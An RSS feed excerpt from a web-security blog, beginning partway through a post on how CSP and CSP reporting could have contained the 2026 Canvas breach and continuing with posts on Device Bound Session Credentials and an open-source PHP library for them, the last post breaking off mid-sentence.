      report-to csp-endpoint;</code></pre><p></p><p>&#x2026;with no <code>&apos;unsafe-inline&apos;</code> and no broad allow-listed hosts, leaves attacker-controlled inline script with nowhere to execute. Even if the attacker manages to inject a <code>&lt;script&gt;</code> tag through the sanitiser, the browser refuses to run it because it doesn&apos;t carry the nonce. The session theft never happens. The April 28&#x2013;30 API pillage never happens. The breach is contained at the door.</p><p><strong>Stage two: the discussion XSS.</strong> Same answer, broadly. A nonce-based <code>script-src</code> on the Canvas app surface that admins use would stop the second XSS reaching script execution in a privileged session. There&apos;s a wrinkle here &#x2014; Canvas explicitly <em>renders user-generated HTML</em>, including math equations via MathJax, embedded media, and the rest &#x2014; so a strict CSP for the student-facing rendering of discussions is genuinely hard. But for the <em>admin-facing</em> rendering of discussions, where session compromise has cross-tenant consequences, the trade-off is straightforward. Admin views of UGC should be sandboxed, protected by CSP, or both.</p><p><strong>Stage three: the themes defacement.</strong> This one is more nuanced. The defacement was delivered as a CSS file via a legitimate administrator feature. CSP&apos;s <code>style-src</code> would not necessarily block a CSS file served from the application&apos;s own origin, because it was uploaded through the application&apos;s own admin tooling and served as a legitimate asset. The ransom <em>banner</em> &#x2014; whatever inline script or DOM injection it used to render the message &#x2014; would, however, hit the CSP wall if the policy was strict on <code>script-src</code>.</p><p>So CSP doesn&apos;t magically fix architectural mistakes about what privileged features can do. But it does break the chain at the point that matters most: the moment user-controlled script first runs in a privileged session.</p><p></p><h3 id="would-sri-have-helped-and-what-about-csp-reporting">Would SRI have helped? And what about CSP reporting?</h3><p>Some of you are probably already reaching for the keyboard to ask about <a href="https://scotthelme.co.uk/integrity-policy-monitoring-and-enforcing-the-use-of-sri/?ref=scotthelme.ghost.io" rel="noreferrer">Subresource Integrity</a>. SRI is brilliant when somebody compromises a third-party script CDN you&apos;re loading. This wasn&apos;t that. The malicious content here was first-party &#x2014; uploaded into Instructure&apos;s own systems, served from Instructure&apos;s own origins. SRI was never going to help. This is also a useful distinction from the newer <a href="https://scotthelme.co.uk/integrity-policy-monitoring-and-enforcing-the-use-of-sri/?ref=scotthelme.ghost.io" rel="noreferrer">Integrity-Policy</a> work: integrity controls are powerful for governing external script loading, but they are not a substitute for isolating user-generated content or preventing first-party XSS.</p><p>What <em>would</em> have helped &#x2014; and this is the bit I find most painful &#x2014; is CSP reporting. The Canvas attackers were in the rep&apos;s session for roughly four days before detection. Four days, with attacker-controlled script presumably making outbound API calls or fetching attacker resources from somewhere.</p><p>If Instructure had been running CSP in report-only or enforce mode on their help-desk UI, and pointing the reports at an aggregator (yes, like ours), the injection would have announced itself on day one. The loudest signal is the simplest: an injected inline script that doesn&apos;t carry the right nonce generates a violation report on every single page load &#x2014; so from April 25 onwards, the help-desk UI would have been emitting a report every time that ticket was viewed. (Worth being precise here: the data exfiltration itself ran through Canvas&apos;s own first-party APIs, which are same-origin and wouldn&apos;t trip&#x2014; CSP only reports violations. But the moment any stolen data was beaconed to attacker infrastructure, that off-origin fetch would have hit the policy and generated a report too.) The signal would have been screaming for four days before anyone looked.</p><p>This is the part of the CSP story that doesn&apos;t get told often enough. It isn&apos;t <em>just</em> a runtime block. It&apos;s a real-time integrity sensor for your application&apos;s execution environment. When somebody manages to inject content into pages they shouldn&apos;t, your CSP reports tell you in seconds. You don&apos;t need to wait for a CrowdStrike engagement and a forensic timeline to learn that something in the help-desk UI executed a script it shouldn&apos;t have. The browser, on every page load, is willing and ready to tell you. </p><p>We see this pattern at Report URI constantly. Customers who deploy CSP and pipe the reports somewhere they actually look at them catch injections &#x2014; sometimes from contractors testing things in production, sometimes from compromised third parties, occasionally from genuine attacks &#x2014; <em>days</em> or <em>weeks</em> before any other detection layer fires. The cost of getting that signal is the cost of a CSP header and an endpoint to send reports to.</p><p></p><h3 id="whats-the-architectural-lesson-from-the-canvas-breach">What&apos;s the architectural lesson from the Canvas breach?</h3><p>If I had to compress this entire incident into one sentence, it would be this: the support ticket is the back door to your admin console, and your admin console is the front door to every customer.</p><p>Free-tier programs are wonderful for adoption. Instructure&apos;s Free-for-Teacher was almost certainly responsible for a meaningful chunk of Canvas&apos;s eventual institutional uptake &#x2014; teachers who tried it in a personal capacity, then advocated for it when their districts went shopping. Shutting it down, as Instructure has now done, is a real product loss.</p><p>But Free-for-Teacher sat on shared infrastructure with paying tenants. The trust boundary between &quot;anonymous member of the public who signed up with a Gmail address ten minutes ago&quot; and &quot;regulated student data at 9,000 institutions&quot; was a sanitiser, a support-ticket renderer, and a session cookie scope. That&apos;s a thin boundary to ask three pieces of code to hold up.</p><p>The fix is not to abandon free tiers. The fix is to render untrusted user content in places that <em>don&apos;t matter when they get compromised</em>. Cookieless sandbox origins. Sandboxed iframes with no <code>allow-same-origin</code>. Help-desk tooling that doesn&apos;t carry production session cookies. Cross-tenant API access that requires re-authentication, not just session presence. And on top of all of it, a CSP that turns &quot;an attacker just executed script in my admin UI&quot; from a four-day silent breach into a notification you get before your coffee goes cold.</p><p>Canvas is back online. The students caught up. The data, allegedly, has been destroyed. But the underlying architectural pattern &#x2014; untrusted user content rendered in privileged origins &#x2014; is sitting in more SaaS products than I can count. Most of you reading this probably have it in your stack right now.</p><p>The good news is that the defence is cheap. The bad news is that the people who need it most are usually the ones who think it doesn&apos;t apply to them.</p><p>Don&apos;t be the next case study.</p><p></p><h3 id="so-what-should-teams-do-tomorrow">So what should teams do tomorrow?</h3><p>The uncomfortable lesson here is that this pattern is probably already present somewhere in your own estate. Most SaaS products have places where untrusted user content is rendered for trusted staff: support tickets, file previews, customer messages, admin notes, imports, exports, themes, templates, comments, invoices, logs, or uploaded attachments. The options are plenty, so start by finding those places.</p><p>Ask a simple question for each one: can attacker-controlled content execute in a browser session that has more privilege than the attacker does? If the answer is yes, you have a problem worth fixing quickly.</p><p>The immediate review list is short:</p><p></p><ol><li>Identify every internal or admin surface that renders customer-supplied HTML, Markdown, files, images, SVGs, PDFs, CSS, templates, or rich text.</li><li>Check whether those surfaces share an origin, cookies, or session context with privileged staff tools.</li><li>Move risky rendering to a separate, sandboxed origin with no access to admin cookies or production APIs.</li><li>Apply a strict CSP in enforce mode, not just report-only, especially on support, admin, and moderation tooling.</li><li>Require re-authentication, step-up verification, or explicit approval before staff sessions can perform sensitive cross-tenant actions.</li><li>Review whether support/admin roles have broader API access than they actually need.</li><li>Monitor CSP, failed isolation, and suspicious API activity as production security telemetry, not as passive logs nobody reads.</li></ol><p></p><p>The goal is not just to &quot;fix XSS&quot;. The goal is to make sure that when XSS inevitably appears somewhere, it cannot jump from a low-privilege customer-controlled surface into a high-privilege employee session with access to everyone&#x2019;s data.</p><p></p><h4 id="sources">Sources</h4><p>Primary sources from Instructure:<br><a href="https://www.instructure.com/incident_update?ref=scotthelme.ghost.io">Instructure &#x2014; Security Incident Update &amp; FAQs</a> &#x2014; the official statement, including the line confirming <em>&quot;a vulnerability regarding support tickets in our Free for Teacher environment that was exploited.&quot;</em><br><a href="https://www.instructure.com/resources/webinar/technical-deep-dive-recent-security-incident?ref=scotthelme.ghost.io">Instructure &#x2014; Customer Webinar: Technical Deep Dive on Recent Security Incident</a> &#x2014; the May 18&#x2013;19 webinar with Chief Architect Zach Pendleton, CISO Steve Proud, and CrowdStrike&apos;s Head of Incident Response James Perry.</p><p>Phil Hill&apos;s coverage at On EdTech, which is the cleanest public summary of what Instructure disclosed in the webinar:<br><a href="https://onedtech.philhillaa.com/p/a-technical-deep-dive-is-not-a-crisis-response?ref=scotthelme.ghost.io">Phil Hill &#x2014; A Technical Deep Dive Is Not a Crisis Response</a> &#x2014; the source of the verbatim chain (support ticket on April 22, rep session theft on April 25, API exfiltration April 28&#x2013;30, second XSS in discussions, themes CSS pivot to ~300 accounts on May 7).<br><a href="https://onedtech.philhillaa.com/p/instructure-is-risking-the-trust-that-built-canvas?ref=scotthelme.ghost.io">Phil Hill &#x2014; Instructure Is Risking the Trust That Built Canvas</a><br><a href="https://onedtech.philhillaa.com/p/one-step-forward-one-step-back-instructure-cyber-attack-2026?ref=scotthelme.ghost.io">Phil Hill &#x2014; One Step Forward, One Step Back</a></p><p>Mainstream press coverage of the incident:<br><a href="https://www.bleepingcomputer.com/news/security/instructure-confirms-hackers-used-canvas-flaw-to-deface-portals/?ref=scotthelme.ghost.io">BleepingComputer &#x2014; Instructure confirms hackers used Canvas flaw to deface portals</a><br><a href="https://www.bleepingcomputer.com/news/security/canvas-login-portals-hacked-in-mass-shinyhunters-extortion-campaign/?ref=scotthelme.ghost.io">BleepingComputer &#x2014; Canvas login portals hacked in mass ShinyHunters extortion campaign</a><br><a href="https://www.bleepingcomputer.com/news/security/instructure-reaches-agreement-with-shinyhunters-to-stop-data-leak/?ref=scotthelme.ghost.io">BleepingComputer &#x2014; Instructure reaches &apos;agreement&apos; with ShinyHunters to stop data leak</a><br><a href="https://techcrunch.com/2026/05/07/hackers-deface-school-login-pages-after-claiming-another-instructure-hack/?ref=scotthelme.ghost.io">TechCrunch &#x2014; Hackers deface school login pages after claiming another Instructure hack</a><br><a href="https://www.theregister.com/cyber-crime/2026/05/12/congress-investigates-canvas-breach-after-instructure-cuts-deal-with-shinyhunters/5238927?ref=scotthelme.ghost.io">The Register &#x2014; Congress investigates Canvas breach after Instructure cuts deal with ShinyHunters</a><br><a href="https://thehackernews.com/2026/05/instructure-reaches-ransom-agreement.html?ref=scotthelme.ghost.io">The Hacker News &#x2014; Instructure Reaches Ransom Agreement with ShinyHunters</a><br><a href="https://www.malwarebytes.com/blog/news/2026/05/shinyhunters-escalates-canvas-attacks-with-school-login-defacements?ref=scotthelme.ghost.io">Malwarebytes &#x2014; ShinyHunters escalates Canvas attacks with school login defacements</a></p><p>Government and regulatory:<br><a href="https://fsapartners.ed.gov/knowledge-center/library/electronic-announcements/2026-05-12/technology-security-alert-ongoing-cybersecurity-incident-involving-canvas-learning-management-system?ref=scotthelme.ghost.io">US Department of Education &#x2014; Federal Student Aid security alert, May 12 2026</a></p><p>Vendor analysis:<br><a href="https://businessinsights.bitdefender.com/technical-advisory-shinyhunters-breach-instructure-canvas-lms?ref=scotthelme.ghost.io">Bitdefender &#x2014; Technical Advisory: ShinyHunters Breach of Instructure Canvas LMS</a><br><a href="https://www.trendmicro.com/en_us/research/26/e/What-Is-the-Instructure-Canvas-Breach.html?ref=scotthelme.ghost.io">Trend Micro &#x2014; What Is the Instructure Canvas Breach?</a><br><a href="https://ailearninsights.substack.com/p/what-can-we-infer-from-canvass-technical?ref=scotthelme.ghost.io">AI Learn Insights &#x2014; What Can We Infer from Canvas&apos;s Technical Deep Dive?</a></p><p>Technical references mentioned in the article:<br><a href="https://github.com/instructure/canvas-lms?ref=scotthelme.ghost.io">Canvas LMS on GitHub</a> &#x2014; the open-source codebase, including the <code>canvas_sanitize</code> gem responsible for HTML sanitisation.<br><a href="https://github.com/instructure/canvas-lms/blob/master/gems/canvas_sanitize/lib/canvas_sanitize/canvas_sanitize.rb?ref=scotthelme.ghost.io"><code>canvas_sanitize</code> gem source</a> &#x2014; the allowlist-based HTML sanitiser referenced when discussing the difficulty of inline-HTML injection paths.<br><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-36539?ref=scotthelme.ghost.io">CVE-2021-36539</a> &#x2014; a prior Canvas vulnerability in the DocViewer / <code>canvadoc_session_url</code> code path, illustrating the document-previewer angle.</p><p>Prior art &#x2014; historical Canvas XSS research (separate from the 2026 incident, but illustrative of the recurring UGC-rendering pattern):<br><a href="https://github.com/andrew-healey/canvas-lms-vuln?ref=scotthelme.ghost.io">andrew-healey/canvas-lms-vuln</a> &#x2014; Rich Content Editor XSS via outdated jQuery and a broken image handler.<br><a href="https://github.com/andrew-healey/example-canvas-xss-attack?ref=scotthelme.ghost.io">andrew-healey/example-canvas-xss-attack</a> &#x2014; MathJax <code>\phantom{\unicode{...}}</code> bypass via the math-equation insertion path in discussions, journals and assignments.</p><p>Wikipedia (timeline reference only):<br><a href="https://en.wikipedia.org/wiki/2026_Canvas_security_incident?ref=scotthelme.ghost.io">2026 Canvas security incident &#x2014; Wikipedia</a></p><p></p><p></p>]]></content:encoded></item><item><title><![CDATA[Open-Sourcing dbsc-php: a Server Library for Device Bound Session Credentials in PHP]]></title><description><![CDATA[<p>We&#x2019;ve open-sourced <a href="https://packagist.org/packages/report-uri/dbsc-php?ref=scotthelme.ghost.io" rel="noreferrer">dbsc-php</a>, a small PHP library that makes it easier to deploy Device Bound Session Credentials and turn stolen session cookies into something far less useful. It&apos;s MIT-licensed, pure-PHP, and available on Packagist now!</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-1.png" class="kg-image" alt loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-1.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="what-is-dbsc">What is DBSC?</h4><p>If you&apos;d</p>]]></description><link>https://scotthelme.ghost.io/open-sourcing-dbsc-php-a-server-library-for-device-bound-session-credentials-in-php/</link><guid isPermaLink="false">6a244e5d2b2c280001660c90</guid><category><![CDATA[Report URI]]></category><category><![CDATA[DBSC]]></category><category><![CDATA[PHP]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Mon, 08 Jun 2026 14:00:56 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-php.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-php.png" alt="Open-Sourcing dbsc-php: a Server Library for Device Bound Session Credentials in PHP"><p>We&#x2019;ve open-sourced <a href="https://packagist.org/packages/report-uri/dbsc-php?ref=scotthelme.ghost.io" rel="noreferrer">dbsc-php</a>, a small PHP library that makes it easier to deploy Device Bound Session Credentials and turn stolen session cookies into something far less useful. It&apos;s MIT-licensed, pure-PHP, and available on Packagist now!</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-1.png" class="kg-image" alt="Open-Sourcing dbsc-php: a Server Library for Device Bound Session Credentials in PHP" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-1.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="what-is-dbsc">What is DBSC?</h4><p>If you&apos;d like to know more about DBSC, you should start with my blog post <a href="https://scotthelme.co.uk/device-bound-session-credentials-making-stolen-cookies-useless/?ref=scotthelme.ghost.io" rel="noreferrer">Device Bound Session Credentials: Making Stolen Cookies Useless</a> as that will cover everything you need to know. In short, DBSC lets a browser bind a session cookie to a device-held private key, so a stolen cookie alone is no longer enough to use the session elsewhere.</p><p>Alongside open-sourcing this library for the community, we&apos;re also running a <a href="https://scotthelme.co.uk/dbsc-beta-at-report-uri/?ref=scotthelme.ghost.io" rel="noreferrer">beta of DBSC at Report URI</a> using this very code, so check it out. </p><p></p><h4 id="why-we-built-it">Why we built it</h4><p>We deployed DBSC on Report URI and quickly found that the gap between &quot;what the spec says&quot; and &quot;how do we do that&quot; is wide enough to fall into. Several behaviours only surface once you&apos;re integrating against a real browser, and getting them subtly wrong means enforcement silently does nothing &#x2014; leaving you with exactly the stolen-cookie hole DBSC exists to close.</p><p>Rather than keep those hard-won corrections to ourselves, we&apos;ve packaged them up. The library is around 700 lines with zero dependencies beyond <code>ext-openssl</code> and <code>ext-json</code> &#x2014; small enough to audit in one sitting. The crypto is deliberately minimal: ES256 only, signature plus a single-use challenge nonce.</p><p></p><h4 id="what-we-got-wrong-so-you-dont-have-to">What we got wrong (so you don&apos;t have to)</h4><p>The library is useful, but the wire-protocol notes in the README are where a lot of the hard-won implementation value lives. A few of the corrections baked into the library:</p><p></p><ul><li>Registration is single-phase; refresh is two-phase (a 403 with a challenge, then a&#xA0;200). That&apos;s the opposite of how the spec reads at first glance.</li><li>Both the cookie value and the challenge must rotate on every refresh. Re-emit the same cookie value and Chrome decides no refresh happened and terminates<br>the session.</li><li>No <code>Secure-Session-Challenge</code> on the registration response, or Chrome reports a Challenge Error.</li><li><code>challengeTtl</code> must exceed <code>cookieMaxAge</code> so a challenge cached just before cookie expiry is still valid when it&apos;s used. The <code>Config</code> constructor enforces this<br>for you.</li></ul><p></p><p>There&apos;s also one non-obvious correctness requirement that bit us in production: keep DBSC state in its own dedicated key space, keyed by session id &#x2014; never inside a read-modify-written shared session blob. We originally stored it in the PHP session, where the post-login navigation races the registration POST, both rewrite the whole blob last-writer-wins, and the binding gets clobbered. Enforcement then silently no-ops. <code>StoreInterface</code> documents the requirement; back it with Redis or a table and you&apos;re fine.</p><p></p><h4 id="framework-agnostic-by-design">Framework-agnostic by design</h4><p>The library never touches a superglobal, sends a header, or sets a cookie. Every operation takes a <code>RequestContext</code> you build from your framework&apos;s request and returns a <code>DbscResponse</code> you apply to your framework&apos;s response. Storage is yours &#x2014; implement <code>StoreInterface</code> against whatever you already run (an <code>InMemoryStore</code> is bundled for tests and the demo).</p><p></p><pre><code class="language-php">use ReportUri\Dbsc{Config, DbscServer};
    
    $dbsc = new DbscServer(new Config(cookieName: &apos;__Host-myapp_dbsc&apos;), $myStore);</code></pre><p></p><p>A complete reference front controller lives in <code>_test/server.php</code>, and there&apos;s a self-contained test harness that generates a real EC P-256 device key, builds the JWTs exactly as Chrome does, and drives the full register/refresh/enforce/revoke flow plus the attack cases &#x2014; wrong device key, wrong or expired challenge, stale cookie, <code>alg=none</code>.</p><p></p><h4 id="getting-started">Getting Started</h4><p>DBSC is one of the most meaningful upgrades to session security in years, and the cost of adopting it is genuinely low. If you&apos;re running PHP and want to start binding sessions to devices, this should save you a lot of effort. Issues and PRs welcome.</p><p>Packagist: <a href="https://packagist.org/packages/report-uri/dbsc-php?ref=scotthelme.ghost.io" rel="noreferrer">report-uri/dbsc-php</a><br>Source &amp; docs: <a href="https://github.com/report-uri/dbsc-php?ref=scotthelme.ghost.io">https://github.com/report-uri/dbsc-php</a><br>The spec: <a href="https://github.com/w3c/webappsec-dbsc?ref=scotthelme.ghost.io" rel="noreferrer">w3c/webappsec-dbsc</a></p><p></p>]]></content:encoded></item><item><title><![CDATA[DBSC Beta at Report URI]]></title><description><![CDATA[<p>This week, I published a blog post about <a href="https://scotthelme.co.uk/device-bound-session-credentials-making-stolen-cookies-useless/?ref=scotthelme.ghost.io" rel="noreferrer">Device Bound Session Credentials</a>, a new technology that will significantly hamper the efforts of Infostealers and reduce the damage caused by stolen cookies. Today, we&apos;re announcing the beta of DBSC at Report URI!</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.co/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo.png" class="kg-image" alt loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="device-bound-session-credentials">Device Bound Session Credentials</h4><p>You should definitely</p>]]></description><link>https://scotthelme.ghost.io/dbsc-beta-at-report-uri/</link><guid isPermaLink="false">6a200eb4b5ac0c00013dfa00</guid><category><![CDATA[Report URI]]></category><category><![CDATA[DBSC]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Fri, 05 Jun 2026 14:22:22 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-beta.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/dbsc-beta.png" alt="DBSC Beta at Report URI"><p>This week, I published a blog post about <a href="https://scotthelme.co.uk/device-bound-session-credentials-making-stolen-cookies-useless/?ref=scotthelme.ghost.io" rel="noreferrer">Device Bound Session Credentials</a>, a new technology that will significantly hamper the efforts of Infostealers and reduce the damage caused by stolen cookies. Today, we&apos;re announcing the beta of DBSC at Report URI!</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.co/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo.png" class="kg-image" alt="DBSC Beta at Report URI" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="device-bound-session-credentials">Device Bound Session Credentials</h4><p>You should definitely check out my blog post from yesterday for the full details - <a href="https://scotthelme.co.uk/device-bound-session-credentials-making-stolen-cookies-useless/?ref=scotthelme.ghost.io">Device Bound Session Credentials: Making Stolen Cookies Useless</a></p><p>The TLDR is that cookies are now bound to the device that they were issued to, so if an attacker is able to steal a cookie from your device, it&apos;s no longer possible to session-hijack you and take over your account. This is an increasingly common pattern that we&apos;re seeing with recent Infostealer malware strains, and is a change in strategy for attackers as account security surrounding passwords, 2FA and Passkeys continues to improve. </p><p></p><h4 id="joining-the-beta">Joining the Beta</h4><p>As noted in my blog post linked above, DBSC is currently only supported in Chrome on Windows, with macOS coming soon, but if that works for you, you can request to join the current beta.</p><p>Simply drop an email to support@ from your registered email address and request to join the DBSC Beta. Once your account has been added to the beta, you can log out and log in again, and then you will be able to see if your session is device bound on the Settings -&gt; Manage Sessions section of your account. </p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image.png" class="kg-image" alt="DBSC Beta at Report URI" loading="lazy" width="920" height="352" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/image.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image.png 920w" sizes="(min-width: 720px) 720px"></figure><p></p><p>It&apos;s as simple as that, and now you have an incredibly robust protection on your account!</p><p></p><h4 id="feedback">Feedback</h4><p>As this is a beta, we&#x2019;re especially interested in feedback on browser compatibility, session behaviour, and anything unexpected during login or session management. If you experience any problems at all, or have any feedback, just let us know.</p><p></p>]]></content:encoded></item><item><title><![CDATA[Device Bound Session Credentials: Making Stolen Cookies Useless]]></title><description><![CDATA[<p>A stolen session cookie can be vastly more powerful than a stolen password. The attacker doesn&#x2019;t need to phish the user, bypass MFA, or defeat their passkey; they simply replay the cookie and step straight into a fully authenticated session. That&#x2019;s why info-stealers love browser</p>]]></description><link>https://scotthelme.ghost.io/device-bound-session-credentials-making-stolen-cookies-useless/</link><guid isPermaLink="false">6a0b32f508297800018dba89</guid><category><![CDATA[Report URI]]></category><category><![CDATA[DBSC]]></category><category><![CDATA[PHP]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Tue, 02 Jun 2026 10:59:38 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/dbsc.png" alt="Device Bound Session Credentials: Making Stolen Cookies Useless"><p>A stolen session cookie can be vastly more powerful than a stolen password. The attacker doesn&#x2019;t need to phish the user, bypass MFA, or defeat their passkey; they simply replay the cookie and step straight into a fully authenticated session. That&#x2019;s why info-stealers love browser cookies: they turn the messy business of account compromise into a simple copy and paste operation. Device Bound Session Credentials, or DBSC, neutralise this attack by making the cookie useful on the single device where the user logged in, and nowhere else. </p><p></p><h3 id="authentication-is-getting-stronger-sessions-are-still-weak">Authentication Is Getting Stronger, Sessions Are Still Weak</h3><p>I tweeted about this anecdotally recently but I really do feel like this point stands, and it&apos;s something that really struck me at the time.</p>
    <!--kg-card-begin: html-->
    <blockquote class="twitter-tweet"><p lang="en" dir="ltr">It&#x2019;s kind of crazy that after all the progress we&#x2019;ve made with passwords, 2FA, and now passkeys, the end result is still just&#x2026; a cookie!<br><br>Attackers will follow the value and take the path of least resistance, and that means shifting to abusing the authenticated session instead.&#x2026; <a href="https://t.co/gGBbv81N7r?ref=scotthelme.ghost.io">https://t.co/gGBbv81N7r</a></p>&#x2014; Scott Helme (@Scott_Helme) <a href="https://twitter.com/Scott_Helme/status/2046950139810447509?ref_src=twsrc%5Etfw&amp;ref=scotthelme.ghost.io">April 22, 2026</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
    <!--kg-card-end: html-->
    <p></p><p>I&apos;ve long pushed for things that help boost account security, all of the things mentioned in my tweet. We all know they&apos;re a good idea and it&apos;s most likely that if you&apos;re here reading this post on my blog, a security/technical blog, you probably have all of these bases covered. </p><ul><li>Strong, unique passwords on your accounts, probably in a password manager.</li><li>2FA enabled, most likely TOTP. </li><li>Passkeys where supported, they&apos;re gaining momentum.</li></ul><p></p><p>But what I said in that tweet is right, if not a little limited on character count. All of those steps are for the initial authentication. The first time you land on the site and want to log in, you have to prove who you are, you have to authenticate. You punch in your password, supply your TOTP code, and the website says &quot;Hi Scott&quot;. They&apos;ve successfully authenticated you. But now we have a problem, because HTTP is a stateless protocol. I don&apos;t want to have to provide my password and TOTP code on every single request to prove who I am, I want the website to remember who I am. I want to maintain state!</p><pre><code>set-cookie: sess=wo358oh9f3wy8gh</code></pre><p></p><p>This little cookie, issued to us after we successfully authenticated, is exactly how we do that. This is how the website remembers that I am Scott, and all I have to do is provide it with each request that I send.</p><pre><code>cookie: sess=wo358oh9f3wy8gh</code></pre><p></p><p>When the website receives a request with that cookie, it can look it up in the session store and say &quot;Aha! This is Scott&quot;.</p><p>That&apos;s it, that&apos;s all we get. That little string of characters called a cookie. No matter how good your password is, how many 2FA mechanisms you have, and whether or not you&apos;re up to your eyeballs in passkeys, that cookie is now your proof of identity. This is also why they&apos;re so dangerous, because when an attacker steals it, they become you. </p><p></p><h3 id="the-path-of-least-resistance">The Path of Least Resistance</h3><p>As account security improves, traditional attacks are becoming more difficult for attackers. In distant times they might have had a field day with a good password dictionary, but now, on the modern Web, attackers have had to become more sophisticated. Yes, phishing is still the most likely attack to be effective against users right now, but if passkeys keep gaining momentum, attackers are going to lose that arrow from their quiver too. When that happens, they&apos;ll do what they always do and move to the next weakest link in the chain, and we&apos;re already seeing signs that this is happening with the rise of the InfoStealer threat.</p><p>MITRE tracks <a href="https://attack.mitre.org/techniques/T1539/?ref=scotthelme.ghost.io" rel="noreferrer">Steal Web Session Cookie</a> as a real adversary technique because stolen session cookies can allow an attacker to access services as an already-authenticated user, without needing the user&#x2019;s credentials.</p><p>Microsoft <a href="https://www.microsoft.com/en-us/security/blog/2026/02/02/infostealers-without-borders-macos-python-stealers-and-platform-abuse/?ref=scotthelme.ghost.io" rel="noreferrer">describes</a> modern InfoStealers as malware that collects not just passwords, but also session cookies and authentication tokens, which makes them directly relevant to post-login session hijacking.</p><p>Google <a href="https://knowledge.workspace.google.com/admin/security/prevent-cookie-theft-with-session-binding?ref=scotthelme.ghost.io" rel="noreferrer">describes</a> cookie theft as an attack where malware steals a user&#x2019;s session cookie, allowing the attacker to impersonate the user and continue their authenticated session.</p><p></p><p>InfoStealers have changed the economics of account takeover. Attackers no longer need to defeat the login process if they can steal the session artefacts created after the login process has already taken place. That makes session cookies an obvious target: steal the cookie, replay the session, and bypass login security altogether.</p><p></p><h3 id="device-bound-session-credentials">Device Bound Session Credentials</h3><p>To neutralise the off-device replay of a stolen cookie, to even know that a cookie has been stolen and is being abused by an attacker, the application only needs to answer a simple question.</p><blockquote>Is this cookie being sent from the same device it was issued to?</blockquote><p></p><p>That is the promise of Device Bound Session Credentials (<a href="https://www.w3.org/TR/dbsc/?ref=scotthelme.ghost.io" rel="noreferrer">spec</a>). DBSC turns a normal bearer-style session cookie into something much stronger: a session that is cryptographically bound to the device it was issued to. The core benefit is simple and powerful: <strong>a stolen cookie is no longer enough</strong>.</p><p>Today, applications often try to detect suspicious session use with signals like source IP, user agent strings, geolocation, device fingerprints, or behavioural checks. Those signals can be useful, but they are also noisy, unreliable, easy to change, and can raise valid privacy concerns. DBSC takes a clean approach. Instead of the application trying to infer whether a request came from the original device, the browser can prove it.</p><p>It does that using asymmetric cryptography. During registration, the browser generates a new key pair for the session. The private key remains securely on the device, while the public key is shared with the application. Later, when the application needs to refresh the short-lived session cookie, the browser must prove possession of the private key. If it can produce a valid signature, the application knows the request came from the device that created the session. If an attacker only has a stolen cookie, but not the private key, the session cannot be refreshed.</p><p>That changes the value of a stolen cookie dramatically. Instead of being a portable 